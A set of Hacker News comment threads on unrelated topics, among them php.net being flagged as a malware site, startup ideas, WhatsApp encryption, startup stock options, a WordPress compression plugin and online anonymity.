</comment><comment><USER39> If someone managed to compromise something like the PHP binaries they could cause a lot of damage.

<comment><USER7> Main php.net site doesn't have binaries, only sources. windows.php.net has Windows binaries, other sites - like Linux distros - have others.

All php releases are signed and checksummed on the d/l page.

</comment></comment><comment><USER40> Hm, so is my Firefox getting this list directly from Google or how does it work?

<comment><USER41> Yes, Firefox downloads a list of suspicious sites from Google every 30 minutes. It uses the Google Safe Browsing Protocol --

[https://code.google.com/p/google-safe- browsing/wiki/Protocol...](https://code.google.com/p/google-safe- browsing/wiki/Protocolv2Spec)

<comment><USER42> Nitpick: it's a list of _hashes_ of suspicious URLs.

</comment></comment></comment><comment><USER43> they should already fixed it, the file that they are mentioning, this "userprefs.js" does it is not harmful

</comment><comment><USER44> Maybe they used PHP to create the site. :)

</comment><comment><USER45> whats the news from [http://php.net/](http://php.net/) webmaster???

<comment><USER46> yup, can we please have some official voice provide a bit of background data here?!

</comment></comment><comment><USER47> Sure, there are many reasons to dislike PHP. But I wouldn't go as far and call it a malware.

</comment><comment><USER48> still funny ;)

</comment><comment><USER49> if so, that means facebook is also a malware :D

<comment><USER13> facebook hardly uses the PHP interpretor,they have their own PHP VM , HHVM.

<comment><USER50> Considering the compromise was a js script and most likely had nothing to do with PHP, both these comments are not relevant.

</comment></comment></comment><comment><USER51> According to Twitter post by Rasmus ([https://twitter.com/rasmus/status/393258264034422785](https://twitter.com/rasmus/status/393258264034422785)) this has been like this for at least 1 day and still has not been fixed. Something tells me that Google has way too much power and the fact that they don't sort out false positives in a timely fashion is really bad.

<comment><USER20> PHP webmasters didn't fix the issue and you're complaining about Google?

</comment></comment><comment><USER52> it is not surprised

<comment><USER52> why? see sources of project php.net for this site

</comment></comment><comment><USER53> Yeah, what gives?

</comment><comment><USER54> Honestly, I feel like there is nerd rage here; php.net should in no way ever be flagged as malware. Clearly a failure in Google here.

<comment><USER55> Not sure if you're joking or lacking knowledge. Just because it's the official PHP site does absolutey NOT mean it cannot contain malware. Legitimate sites are compromised and used to spread malware all the damn time.

<comment><USER7> But in this case it looks like Google tool found legit, but obfuscated file, which was loaded in some tricky way that bad sites usually use, and decided it's a malware.

</comment></comment></comment><comment><USER56> One reason I migrated away from php is the fact that there is simply way too many attack vectors. Using frameworks help quite a bit, but it is to easy to miss configure a stock php install. Not saying that is the case here though.

<comment><USER57> you do realize that this is a javascript exploit? just sayin.

<comment><USER13> and how did the js exploit end up on their servers? through php code likely.

<comment><USER58> That's speculation. I've seen servers get compromised due to FTP problems, SSH misconfiguration, unpatched Apache vulnerabilities, third-party stats monitoring software with 0-days and even SQL injection.

Defacement (I consider malware injection a form of defacement) isn't unique to PHP by a long shot.</comment></comment></comment></comment>


Proving that ideas are not worth a lot. - <AUTHOR>

We always argue on the relative worth of ideas. While I do not believe that ideas are worthless, I believe a lot of people are waiting unnecessarily believing they will start when the right idea comes.
When I was starting up, I had to think of a lot of ideas, before I finally settled on www.42topics.com. Since I am not going to be using any of these ideas here is an experiment.
I am telling 5 ideas, which I believe have the potential to make a lot of money. They all are in the same format, describe  a problem , a pain point, away to solve them and how to make money with them.
Now here is the challenge, either prove that these ideas suck, and can not make money, or if you are waiting for that big idea go out, build these and make a lot of money.
[1]. http://42topics.com/blog/2008/05/an-idea-a-day-an-automated-adwords-optimizer/
[2]. http://42topics.com/blog/2008/05/an-idea-a-day-recomendation-system-based-ad-network/
[3]. http://42topics.com/blog/category/5startupideas/ as they become live.
PS. How can I convert these link into clickable links? <comment><USER2> I don't think it's necessary to prove that the ideas suck; rather, it's enough (for me) to say that I don't find them compelling enough to invest the time and energy and commitment they would require to bring to fruition. I believe that successful start-ups are based on ideas that the founders are actively jonesing over, not merely ideas that "don't suck."

<comment><USER3> Something about this definitely rings true to me. I absolutely can appreciate the sense of pride and self-determination that comes with a startup, but that sense alone isn't enough to motivate me. Without an idea that I could truly get behind, how could I carry myself through the low demoralizing points that most startups will encounter? It would be hard to avoid a cycle of working until I meet a roadblock, thinking "oh, this idea sucks anyway," and starting something new -- but never making any progress toward a single goal. Until I can come up with something truly exciting, I can't see myself quitting my day job just yet.

</comment></comment><comment><USER4> Apropos of nothing, I'd like to throw out a longstanding personal idea for improving dating sites. All of the current dating sites work by matching similar interests. This is really dumb, because most people don't want to date people with the same interests; rather, they want to date people with any compelling set of interests as long as there aren't any red flags. So rather than matching people with similar interests, dating sites should let you add tags to your profile and then let show you everyone in your area except for those with tags you are filtering out.

For example, show me everyone within 10 miles of 14850 except those whose profiles contain: jesus, single mom, smoker, republican, pulp-free orange juice, george bush, herpes, bbw, us weekly, horses, etc.

<comment><USER5> That's a good solution. I think you are very right...dating is about filtering more than matching.

Just from my experience, the hard part is getting people to accurately fill in all that information. You've definitely got the right approach though.

<comment><USER4> While people do lie on normal dating sites, they tend to lie about predictable things: Men are most likely to lie about their height and income, and women are most likely to lie about their weight and age.[1] It's hard to say whether people would lie more or less on a filter-based site, but it seems to be worth a try if only because no one (AFAIK) has ever tried it. As for getting people to fill out the information, I think you could come up with some novel ways of encouraging people to add tags. As for the tags themselves, you could easily datamine hot-or-not to figure out the most popular 1,000 or so.

[1] There is an academic study by Catelina Tomas (sp?) about this.

<comment><USER6> I rather think this idea would be better deployed in an existing social environment. (Facebook, MySpace, Hi5, etc.)

I'm not sure how much people would trust a NEW dating site, especially with all the information out there about fake profiles -- how will you gain enough organic traffic not to turn people off with fake profiles? And if you use fake profiles, then it's self-defeating, and although monetization should be easily achievable, won't help people find a potential partner.

Why not a dating application that doesn't intrude in people's lives?

<comment><USER7> Perhaps, instead of specific people meeting specific people, people create a large database of "characters" (profiles of sorts), and then you select a few and rate yourself on how well you match each of them. You then select a few "characters" you like and rate _those_ , and you are matched with people who are rated highly at being like those characters.

Tagline: You can meet a person, but you're _looking_ for an ideal. Why not admit it?

(Of course, the ideals could become simplified, one-word-ified and adjectivized, and become tags. But the extensible system is more interesting in that it allows you to select a batch of tags at once. A character could still exist in the tag system, as a set of tags with weightings.)

</comment></comment></comment></comment></comment><comment><AUTHOR> [1]. [http://42topics.com/blog/2008/05/an-idea-a-day-an- automated-...](http://42topics.com/blog/2008/05/an-idea-a-day-an-automated- adwords-optimizer/)

[2]. [http://42topics.com/blog/2008/05/an-idea-a-day- recomendation...](http://42topics.com/blog/2008/05/an-idea-a-day- recomendation-system-based-ad-network/)

[3]. <http://42topics.com/blog/category/5startupideas/> as they become live.

To make the links clickable.

<comment><USER8> given their length tinyurl might be good in the future.

<comment><USER9> Careful - a lot of people (myself included) won't click and will often downmod for such use. Use their preview feature if you like but anything can hide behind a tinyurl :)

</comment></comment></comment><comment><USER10> Google already optimizes ads and keywords in various ways. Before messing with it, you would have to have a firm understanding of what they already do, which I'm not sure is presently the case. Actually, I doubt they would even be completely open about their methods.

</comment><comment><USER11> Ideas can indeed be worth a lot, and I'm tired of this macho entrepreneurial culture which tries to disregard their value as a way of motivating better execution. If you have to trick yourself into believing that ideas aren't worth much to properly assess the value of execution, you're just telling yourself one more lie than you really need.

As it happens, we live in a time where there are so many (potentially) good ideas that there isn't enough time or talent for us to work on them all. But good startup ideas aren't like dollar bills, where the more you have of them, the less each of them is worth. Nor are they like most goods whose marginal utility decreases with consumption. We call them "ideas" as a way of lumping what they are together, but each is unique and arises from the perception of very different needs/pains/wants in the world. They don't lose value because many other similarly worthy ideas exist.

</comment><comment><USER7> I have an idea: an idea aggregator. If ideas are really worth so little, why aren't they indexed, searchable, and community-improvable?

One example of this model is <http://www.halfbakery.com/>, but its ideas are, like it says, of the "half-baked" variety.

I think I might call it "MindCycling" or something to that effect--rather than throwing away ideas you'll never implement, put them in the big blue bin (-site) and let other people re-smelt them into something someone can use.

I admit I'd use it every day, for more than just start-up ideas: as an author, it would probably help my fiction worldbuilding immensely.

</comment><comment><USER12> "1% inspiration, 99% perspiration".

The ideas are only as good as thier implementation. Many good ideas fail because they are poorly executed.

</comment><comment><USER13> I love the "automated Adwords optimizer" idea. This is something my startup (ecommerce) would absolutely pay for. We have discussed building something similar for our own needs.

</comment><comment><USER6> or maybe this is a ploy to raise awareness/ draw traffic to your startup :)</comment>


What's wrong with WhatsApp - <AUTHOR> https://www.theguardian.com/technology/2020/jul/02/whatsapp-groups-conspiracy-theories-disinformation-democracy <comment><USER2> What an article. It turns out that, according to the Guardian, what's wrong with WhatsApp is _exactly the best features of WhatsApp_ , namely the fact that messages are encrypted and can't be snooped on and that you can only send messages to contacts. These things make it hard for governments to snoop on your messages, censor them, and spread official propaganda in their place. Apparently these are all bad things, and we should move back to more public platforms where our conversations can be properly monitored.

The article uses the example of Covid misinformation spreading virally on WA, and while it's true that the information being spread is false (in the examples that they give), it's appalling that their first instinct is to bewail the fact that people's private communications cannot be surveilled and suppressed. This article literally and unironically contains the sentence: "But what makes WhatsApp potentially more dangerous than public social media are the higher levels of trust and honesty that are often present in private groups."

Yes, trust and honesty. _That_ is what's wrong with WhatsApp.

<comment><USER3> Wasn't The Guardian the one to publish Snowden's reveals? The ones that could have only been passed on with tech that WhatsApp uses i.e. encryption.

<comment><USER4> Since publishing the Snowden files in 2013, TG has significantly changed course and crippled their investigative branch, as detailed here:

[https://www.dailymaverick.co.za/article/2019-09-11-how- the-u...](https://www.dailymaverick.co.za/article/2019-09-11-how-the-uk- security-services-neutralised-the-countrys-leading-liberal-newspaper/)

In essence they got rid of their nosey investigate journalists and replaced them with noisy columnists.

</comment></comment></comment><comment><USER5> In India, WhatsApp is used to hilt by political parties. Ruling party owns one of the largest digital network with 100s of thousands of such groups with 10s of millions of members. These groups are used to circulate all kinds of fake news, Islamophobic posts, even hyper local fake posts which have resulted in lynching of innocents by the mob. These posts then spill over to non political groups and are compounded by the fact that media is corrupt and silo-ed into factions.

This a genuine problem impacting impacting both democracy and the social fabric.

<comment><USER6> Democracy is two wolves and one sheep deciding what's for dinner.

</comment></comment><comment><USER7>
      end-to-end encryption makes it immune to surveillance

This is absolutely, 100% false. Encryption is fallible. Even if the encryption scheme is unbreakable, end-to-end encryption is no more secure than its weaker end.

Not to mention that many people use Google to back up all of their WhatsApp messages, and we know that Google has given the federal government a great amount of access to its data in the past.

</comment><comment><USER8> I personally really like Reuter's stance on WhatsApp, which is that it's not as secure as Signal, so they don't use it anymore. Meanwhile the Guardian is publishing anti-encryption articles and still offering only SecureDrop (overkill and inconvenient for a conversation), encrypted email, and snail mail for anonymous tips and such.

</comment><comment><USER9> Only scanned it, but it looks like everything the article says about Whatsapp (spread of misinformation, coordination of violence) would still fit if you replaced Whatsapp with "SMS" or "text messages".</comment>


Idiot Tests During Seed Pitches - <AUTHOR> http://rafer.net/post/119047975336/idiot-tests-during-seed-pitches

<comment><USER2> "The valuation is all about market conditions and how many offers you get and has nothing to do with 'valuing the company.'"

Valuation is very important to the founders, because if it sells a few years down the road for less than the valuation, chances are they will get nothing out of the deal because the investors/VC need to get paid back first.

It kinda makes me wonder if both sides don't care about this..they just want to get their payout and it's treated like playing roulette at the casino.

If I ever get funding, it will be when I have customers and a real valuation. This way, I actually have a real chance at earning a payout instead of essentially becoming an employee of my own company.</comment>


Ask HN: Need advice on startup options - <AUTHOR> About 2 years ago I co-founded a company. For various reasons, earlier this year, my co-founder and I parted ways and came to an agreement that I would take a partial cash buyout and a percentage of the company as stock options.
According to our agreement, I was granted 166,667 stock options (3%) at a strike price of $0.089/share. The company at that date was valued at roughly $2,000,000. The board granted me a 10 year exercise window.
Fast forward to today. The company continues to grow around 20% month over month and just raised a nice Series A, with a post-money around $40m.
Did I screw up by not exercising the options earlier this year? Am I making the right choice by sitting on these?  What should I do in this scenario? I honestly have no idea what the smart move here is. I have just enough liquid cash to purchase the options now, but my understanding is that I'd be taxed on the current value, which I guess would be somewhere around $1m, meaning I'd owe the government hundreds of thousands of dollars right?
Any advice on what I should do is much appreciated! <comment><USER4> > Did I screw up by not exercising the options earlier this year?

Not really. At the time it was obviously more of a gamble, so it may have been a smart move to keep your money in the bank.

> my understanding is that I'd be taxed on the current value

Correct. So assuming that the FMV of the company for your common stock is about 1/3 of the 40M, and you acquired 3% of that, the government now thinks you just made (40M*0.03/3) = $400k, and they will expect you to pay tax on that as income or AMT in your 2015 return.

So unless you have a few hundred thousand dollars lying around, it's too late, don't worry about it. You still have another 9 years to wait around and see whether the company makes it big time, at which point paying tax will be the least of your worries.

<comment><AUTHOR> Good point... I guess it's either lose $20k 9 months ago for possibly no money, or makes slightly less millions later with no risk.

<comment><USER4> Yup. Also, without knowing anything about the company, it was probably the right call not to exercise anyway. With a 10 year window, there is not really any incentive to exercise early, since the startup could fail for many reasons (unless you are fairly confident the company will be a massive success, in which case I guess you wouldn't have left :).

</comment></comment></comment><comment><USER5> Sam Altman talked about this in his Employee Equity post: [http://blog.samaltman.com/employee- equity](http://blog.samaltman.com/employee-equity). "The idea is to grant options that are exercisable for 10 years from the grant date, which should cover nearly all cases (i.e. the company will probably either go public, get acquired, or die in that time frame, and so either the employee will have the liquidity to exercise or it won't matter.)"

Of course, that isn't advice specific to your situation, but at least it shows you a general direction you can use to guide your thinking. There are also plenty of resources online that talk about the potential tax consequences of various exit scenarios.

<comment><AUTHOR> Thanks for the link! Reading now

</comment></comment><comment><USER6> Are all your options vested? Did the company retain the right to repurchase?* Why exercise the options now? Can you afford to lose that cash if you the shares become worthless post-exercise? Can you sell or transfer your options or pledge as collateral to a loan?

IMHO you should seek advice from a lawyer specializing in this area (who is also familiar with the tax implications).

* Lawyers often tell founders something like: "Typically, the Company retains a right to repurchase unvested shares at cost upon termination of employment. During the period that the shareholder continues to be employed or otherwise provide services, the repurchase right expires according to a vesting schedule."

<comment><AUTHOR> All options are vested. Not entirely sure. I could have afforded if I had purchased them earlier this year, but the tax consequence of buying them now is impossible it seems (everyone is saying that without an 83b and purchasing them earlier this year, I basically would have to pay the tax on the full value now). I will reach out to a lawyer soon. Figured HN would have plenty of people who had been there before and willing to give some brief advice/info.

</comment></comment><comment><USER7> One thing to ask an accountant about:

The Series A price might not be the one to use. They paid for a different class of stock than you have, with probably a lot more privileges and therefore a higher price. You might be able to base your valuation on whatever the internal company valuation is (probably being done by the company to set future strike prices) -- especially if what you have is an option on common.

Even so, I would personally not exercise (I am not an accountant) because 10 years is probably enough of a window.

<comment><USER8> Right, the funded valuation is different from the valuation the IRS cares about, the Fair Market Valuation (FMV) or 409a. The amount of AMT you owe is determined by the FMV, which probably hasn't risen much if at all, so you may still be able to spend only the cost of the shares.

That said, $15k is a lot to throw at something that will probably fall apart in the next 9 years.

</comment></comment><comment><USER9> Hey - founder of [http://offerletter.io](http://offerletter.io) here - <USER2> thoughts, in no particular order.

My first thought is, get a lawyer and accountant, immediately.

My second thought is, yes, you kind of screwed up. Generally if you have the opportunity to early-exercise + 83(b), you should take it if you can afford it - it's far, far cheaper in virtually every case, especially for the really early stage.

In terms of forward action, you have a few options:

1) Do a full (or partial) exercise with your own money, pay AMT on the spread

2) Take a loan from someone to help finance the full or partial exercise, let them offset your risk in the short term.

3) See if someone (probably an investor, or your former co-founder) is willing to buy your stock back (probably at a discount)

4) Do nothing and see what happens over the next few months/years, and only take (a potentially much more expensive, but also much more certain) once the company is reaching some liquidity event (or lack thereof).

Here's a more comprehensive blog post on startup equity: [http://www.offerletter.io/blog/201412-understanding-and- nego...](http://www.offerletter.io/blog/201412-understanding-and-negotiating- your-startup-equity.html#section-iso-early-exercise)

Also, even though they're not "your" lawyers, per se (they are the company's) you should still reach out to the company's legal team to understand your options. And if you have a good, open relationship with the cofounder and/or board, then you have a lot more latitude in terms of next-steps as well - <USER3> they're doing well they can nicely ask an investor in a subsequent round to give you some liquidity should you desire it.

If you really believe in the company, it may make sense to exercise now and pay the taxes, but if doing so requires a meaningful portion of your net worth, you'll have to make sure you understand you're putting a lot of eggs in one basket. You would basically be going in on an asset that is opaque, and statistically failure-prone. But if you believe in it, it may be worth it. Maybe.

Drop me a line [ mallyvai at offerletter dot io ] if I can be helpful here more specifically too.

No easy solutions - all have tradeoffs - but it's definitely a manageable situation. Disclaimer: I am not a lawyer or accountant, this is not intended to be formal legal or tax advice, etc etc.

<comment><AUTHOR> Yeah I kind of figured I made a bit of a mistake... It wouldn't have been fun but I could have afforded to lose $20k earlier this year (buying at strike + paying tax then). Now, with the value of the company in the tens of millions, I'd be looking at somewhere around $100,000+ in taxes, which I certainly do not have :\

I'll reach out to my former partner and legal team. We're all on good terms and I still give advice, direction to the engineering team when they need it.

Thanks for the input and offer to follow up. This is why I keep coming back to HN :)

</comment></comment><comment><AUTHOR> forgot to mention the grant date was back in January... not sure if that matters or not</comment>


Show HN: Tinify (WordPress) – Compress as many images as you want for $7 - <AUTHOR> https://asko.press/tinify/ <comment><USER2> I'm not familiar with wordpress development, so I have trouble understanding why something like this needs to be backed by an external API. Is it because there is no viable method for plugins to reliably run binaries in a cross- platform and compatible manor? or are there business/intellectual property reasons for this approach? It seems woefully inefficient to send 2000 (presumably "large") images per user per month to an external server when they could instead be "optimized" on the server in question.

<comment><AUTHOR> It's because most people run WordPress on shared hosting with little to no SSH access and even if there is SSH access it's not like I can simply let my plugin install imgmin and pngquant, that's why most of the compression plugins that do not use an external API for image compression use something like ImageMagick which renders poor results. So yes, I would say the first. There is no viable method to let the plugin do everything - including the compression, if you want quality compressing, that I know off anyway.

<comment><USER2> Interesting. I suspected this was the case. I've been contemplating writing a wordpress plugin, and although most of it would be bog standard templating, I would like to be able to do some simple image processing. Being unable to shell out an external binary is unfortunate. Tangentially, Can you comment on being able to depend on the GD module being present (I'm guessing no)?

Based on your new business model, I suspect that you did not have much success with the pay-as-you-go approach? Like you, I'm contemplating having an up- front fee, but having to support said users with an external API for all time would suck. I was hoping to do it all on their end, but that may be more trouble than its worth.

<comment><AUTHOR> Most shared hosts probably have GD present, but as with anything, there are those that do not. As for how high that percentage is I have no idea. Think of your target market and if it's for not-regular-folks (as in more web development focused or so) then probably GD is present as more knowledgeable people choose their hosting service more wisely, or so I'd like to think, but small company website owners, fashion bloggers and what-not probably choose by price, not quality.

The pay as you go service failed because I offered 1000 compressions for free upon account registration and people took advantage of that, more often than not they would simply use their 1000 compresses and sign up a new account with a new email and nobody bought any compressions because well, seeing how quickly people abandoned the use it's likely that they only ever needed to compress less than 1000 images.

This way to even compress any images they need to purchase the plugin. It has no barriers like account creation (which as far as I can tell people don't like to do with plugins, they'd like to install and go). As for how it will work in the longer perspective I've no idea, I've done my best to optimize the API for high number of requests and will most likely release simple addons (paid) to the plugin which will enable GIF compression, compress-while-you- upload feature and whatever else I can think up, but that, too is just a one- time price so once the user has all of those I will not be making any money from them anymore.

So, if you're asking me if $7 for unlimited compressions work in the long run? Well, if I can run it for tens of users with a simple $10 Digital Ocean droplet, sure, why not. The reality however is that I most likely, depending if it will get any traction or not, have to scale up the DO droplet up which will cost me more, increasingly. There are quite a few ways to go about making money with it and I suppose I'll test the waters as I see fit, but even if it makes no money I don't mind much because I use it for all my client' sites and paying a server fee is much, MUCH cheaper than using the competitors (TinyPNG for example).

</comment></comment></comment></comment><comment><USER3> >I'm not counting the plugins that compress images using ImageMagick, which is just awful

I've always found ImageMagick to be an extremely powerful tool for a lot of image manipulation tasks. Why isn't it suitable for compression?

<comment><AUTHOR> this: [http://imgur.com/a/Lm8Ia](http://imgur.com/a/Lm8Ia)

No, seriously, pngquant is better. That said, my research into the matter is rather limited so if you know of a way to do PNG compression (while preserving transparency) and having no _noticeable_ loss of quality with ImageMagick then please do let me know.</comment></comment>


Facebook seems to have posted a creepy holocaust meme in my name - <AUTHOR> I am really shook because it appears that my facebook account was compromised in a really sophisticated way. This is a real-life creepypasta
Screenshots to follow, showing all the details, but here is the story This morning I woke up, and I checked my facebook notifications on the mobile app. There were some comments on my falcon heavy post last night, but there was an alert that "one of my photos has been hidden from view because it might have explicit or violent content"
So I clicked on it, and it showed me to a post that had a hidden image, and the comment "as your time is running out"
That line is important, will get to it later interestingly enough, the profile picture that shows who posted the image? It's not me. It's just the default blank profile picture, with Facebook as the username
I click the "show image" button, and it is a picture of a mass grave from the holocaust
I click the edit button, and it switches the default profile/name to my face and name so I cancel the edit, and it is back to the default profile/name I check my wall. No image or post has been posted
I check my photos. No images or post has been posted
It was only visible in my notifications, it had not "stuck" to my wall, or into my gallery so I delete the post after screen shoting everything
I think I recognize the line, and low and behold, it is a lyric from In This Twilight, from Year Zero by NIN, which is an album about the apocalypse.
So I turn on 2FA. I check my activity log. I check my devices log,only my phone, my work computer and my home computer in the past few months. Nothing untoward.
What the hell is going on?
Here is an image gallery:
https://imgur.com/a/0rDAILa <comment><AUTHOR> Theories: 1. I was looking through a bunch of old facebook photos of myself last night. Maybe I triggered a job that scans all old photos through the modern facebook image analyzer. Problem with that theory: I don't think I was enough of an edge lord to post that ever. I don't remember ever posting anything like that. I am Jewish. Also, there were no likes, no comments, and there was not date to the post, just said 2 hours ago

2\. Someone figured a way to hack a facebook API such that it looks like pictures are posted by me. Possible. Maybe he found the API keys for Pixelpipe or some other defunct system. Thing is, the picture never actually showed up on my wall, and was not hooked into the dbase as being posted by me as there was no profile photo, name or timestamp. It never made it to the public, it just appears to be sent to me, directly, through an obscure conduit of a notification of censorship. Also: Why just me, and why a nine inch nails song as the comment?</comment>


Court: No, You May Not Force Your Way into a Home and Strip Search Six Children - <AUTHOR> https://www.techdirt.com/articles/20200825/21321545185/federal-court-no-you-fucking-may-not-force-your-way-into-home-strip-search-six-very-young-children.shtml <comment><USER2> > This is so much of a violation the court doesn't even have to look for > precedent.

Right here is the key sentence of the article. Normally, in cases involving qualified immunity, the circumstances have to match up more or less exactly with some precedent in order for qualified immunity to be denied. So, if officers break into someone's place and steal/seize money and rare coins, without justification, as happened recently, when faced with a precedent about officers seizing money alone, the Court might conclude that qualified immunity applies.

Once qualified immunity applies, that effectively kills the case. The worst part about this is that means the case can't _become_ the specific precedent that the Court is looking for. _This_ is why qualified immunity is terribly constructed: there is no way for the Court to say "You did the wrong thing, but you didn't know, so you had qualified immunity. But, _next time_ someone does that, they should know better."

</comment><comment><USER3> Just a friendly reminder that if this crime had been committed by two people not wearing state-costumes, they both would be getting prosecuted for 6 counts of sexual assault of a minor. Our justice system has been taken over by criminals, and they are using it to act out their own sick fantasies that have little to do with justice.

</comment><comment> java-man I cannot even find words how revolting this is.

As we develop various technical solutions, and keep discussing merits of this or that javascript framework, let's keep in mind that the technology we develop may end up in the hands of the people described in the article. Or this might have happened already.

</comment><comment><USER4> Would the woman have been legally justified to defend herself and the children? Or was her only legal option to stand there and let the abuse happen?

<comment><USER5> Legally she could have never let them enter the house. Once inside she could have legally stopped the searches at anytime and required both the officer and social worker to leave her home.

What she could do legally matters little when two government officials, one armed, told her that exercising her legal rights would result in them returning with a court order to take her children.

</comment></comment><comment><USER6> What on earth was in the social worker's head leading up to this?

Is there some context that doesn't justify, but maybe explains the situation?

Is it just as simple as a bully arbitrarily abusing a position of power?</comment>


Searching for Dave Chappelle Ten Years After He Left His Own Show - <AUTHOR> https://believermag.com/if-he-hollers-let-him-go/ <comment><USER2> Part of the reason: [https://youtu.be/7lbFRYF-bbM](https://youtu.be/7lbFRYF- bbM)</comment>


Ask HN: How much do you value your anonymity online? - <AUTHOR>

Anonymity online is becoming more and more of a luxury these days. If I come across someone professionally or personally all I need to do is google them and in most cases I'll get a very good idea about their habits, friends, interests... etc (not just what they say).
Personally I value my anonymity and privacy very much and I maintain that online by controlling where my real name appears and what it is associated with(as best I can), fragmenting my online personas limiting interactions using my real name. But with greater interconnectedness of social networks and content sites, this is getting harder to do. And then there is google, with Eric Schmidt saying ridiculous things like "If you have something that you don't want anyone to know, maybe you shouldn't be doing it in the first place."
Should I even bother, is it even resonable to expect to meet people and be genuinely surprised? <comment><USER2> I'm probably one of those rare individuals who doesn't value anonymity at all. In fact, I wish people were less anonymous (I'm slowly getting my wish as time goes on). I think if you're going to give your opinion, you shouldn't be afraid to own up to it. I don't pretend I'm so important that nefarious people, either from the public or private sectors, are going to use my personal information to do me harm.

I simply don't publish anything online on public websites that I don't want people to associate with me. That is to say I usually lack discretion, but that's who I am. If someone finds out I'm an atheist who drinks on the weekends and has reservations about the government and decides not to hire me because of it, I consider that a good thing. That's one less intolerant person I have to deal with on a professional basis.

I've not heard a compelling argument for hiding one's identity away. To me it just seems like paranoid delusions. If you're going to interact with a society moving increasingly online, you'd better be willing to come out of the shadows. If you aren't willing to, then just pull the plug.

<comment><USER3> I would guess that you haven't been stalked and physically threatened, then.

<comment><USER2> No I haven't, but people were stalked before the internet existed.</comment></comment></comment>


I don't know what the fuck I'm doing - <AUTHOR> http://theopenstartup.blogspot.com/2012/09/i-dont-know-what-fuck-im-doing.html

<comment><USER2> > My startup currently is about nothing. It lacks a product, idea, or even > market. I have a few thoughts about what it could be about, but nothing has > been chosen (or even tested).

I don't understand how this has garnered so much attention. I feel like I'm at a self help meeting where we are all applauding each other for not eating a piece of cake, or smoking a cigarette. In other words, a bunch of noise over nothing substantial. While I'm glad you have a lot of success under your belt, how is it relevant? You specifically state you have no idea, concept, or product. Nothing at all.

You don't have a startup. You have a desire to work hard at something, but you have no idea what to do. Thanks for sharing???

Funny, I was just reading Steve Blanks article on why so many startups suck I'd suggest reading it: [http://steveblank.com/2012/09/21/why-too-many- startups-er-su...](http://steveblank.com/2012/09/21/why-too-many-startups-er- suck/)

But to reiterate: you don't have a startup. And please don't start a company _just to start a company_ ... Do something that you love AND that people truly need. The signal to noise in our startup world is out of control.

Finally, I admire your desire to be open and transparent but honestly coming out and saying you have no idea/product/service is just a waste of a database row. It sounds naive. You won't get anywhere on a wish. You need substance.

P.S. services that I want _right now_ :

* A concierge (iamexec on roids) to find me an apartment. Given a criteria, find me X places per week to review and then take Y that I like and arrange appointments to see them. A human touch is most certainly required. Padmapper is a pain in the ass. I'll give a service a hundred dollars to find me 5 extremely solid leads in a week. Between this and that price, studio or 1br, near the metro (dc). If you build an engine to scale that so you and a few other people can handle business... You're the next Donald Trump.

* register me to vote. I pay $x and you do the rest. Oh you need a birth certificate? Damn. Oh, but you're providing a fax number, iPhone snapshot, or other means to get it or other required docs to you?? Great! Here's $20 fucking dollars. I don't care how much it costs, within reason, as long as it works and it requires zero thought from me.

* I'm a fanboy. I want a heroku coffee cup but they don't exist. Follow the HNTees lead: provide people who might frequent HN or understand the meaning of the phrase NoSQL with swag. I'll give you fifteen bucks for a purple heroku coffee cup. And don't do zazzle/cafepress garbage. I want quality goods. I also want crap pertaining to ruby and python. Tasteful, quality goods/swag for people like you and I.

<comment><USER3> I believe a much bigger indicator for success is the person rather than the idea. I don't know what this person is like, but I wouldn't get hung up on the idea part of things.

He already got to the front page of Hacker News and garnered some attention, that isn't a bad start.

<comment><USER4> s/start/post about thinking about starting

</comment></comment></comment><comment><USER5> Love it. Here are some thoughts.

I think you should A/B test the entire project.

How you do that is up to you, but I'm sure the community could have some fun with it.

If you create an app for the consumer side, create another one for the vendor side, and see how the problems conflict, or explore the synergies.

If you build something that searches, build something that turns those searches into social discovery or sharing.

If you build something that floats, build something else that seeks to sink it. Chaos monkey comes to mind.

I recognize it isn't true split testing, but you might discover a part of a chain that others have been ignoring, and you might also ignite a passion for a problem you didn't realize you had.

Best of luck.

<comment><AUTHOR> Thank you. Yes, I do plan on testing everything. In fact, this post was a test.

<comment><USER5> That part was obvious, but the point is that if you're exploring, do it for the purpose of learning and growth, not for tracking metrics.

Thus, hit both sides of a problem and engineer the solution 2 different ways. As an interation exercise it's invaluable, and as a product market fit it's an excellent test of future friction.

Coding isn't building a business, even if it's exceptional. Many of the chefs I've known that are nationally recognized talents fail miserably when they open their first restaurant.

In order to stay humble to your craft, when you're entering into the new one, prioritize the pursuit of learning opportunities.

<comment><AUTHOR> Good points. I'm really doing it for the purpose of learning and growth (like you said). So far I've learned a lot, and it hasn't even been two full days since my "launch." Now I'm focusing on the ideas. So far, I have a couple. :)

</comment></comment></comment></comment><comment><USER6> I prefer to read from people who know what the fuck they are doing.

</comment><comment><USER7> [Disclaimer: I 'tweaked' my back yesterday and I am in pain and very grumpy this morning:]

Once upon a time, people who had a vague idea for something would tinker in the shed, in a spare room or on the kitchen table.

Nowdays, it seems you have to blog about it, collect 'likes' and seek validation from semi-anonymous strangers and generally spend more time servicing your online presence than actually rolling up your sleeves and getting on with things.

JFDI, as a very effective business colleague of mine was fond of saying.

Here's one of the first things that a Web search for 'JFDI' brings up:

[http://www.bothsidesofthetable.com/2009/11/19/what-makes- an-...](http://www.bothsidesofthetable.com/2009/11/19/what-makes-an- entrepreneur-four-lettersjfdi/)

</comment><comment><USER8> I have this printed out on my desk: <http://mlkshk.com/r/97VP>

It's part of my attempt to be more humble, ask more questions and don't try to impress people.

<comment><AUTHOR> I love it. That feeling of being lost is a big driver for me.

</comment></comment><comment><USER9> Another similar open startup bootstrapping blog: <http://bootstrapchallenge.com/>

Started with 10k GBP some months ago (to bootstrap fulltime) and keeps a spreadsheet of all expenses and income.

<comment><USER10> Looks like his recording efforts slowed down after a while. That is always going to be the challenge with these types of things. Also continuing when you think you have hit on a decent niche/idea and are worried your financials were give competitors the chance to beat you to it.

</comment></comment><comment><USER11> Welcome to the club! If you knew what you were doing, then you're be stagnating. The moment you know what you are doing, then enjoy it for 5 to 10 minutes, then you move on to the next step and there you are again... ignorant.

</comment><comment><USER12> So far looks promising. Even if I can't imagine that you don't have any idea what you gonna start with. Good luck and thanks for the initiative. Popcorn's ready.

<comment><AUTHOR> Thank you. And hey, you didn't buy the popcorn from me. :)

</comment></comment><comment><USER13> is your name Borat by any chance?

</comment><comment><USER14> Sounds entertaining, good luck.

How often will you be posting to your blog?

<comment><AUTHOR> I hope to post about 3 times a week.

</comment></comment><comment><USER15> This is a fine example of why HN and everything associated with it sucks.

<comment><USER16> Your comment might be brash, and you may have a literally green name, but you are absolutely right.

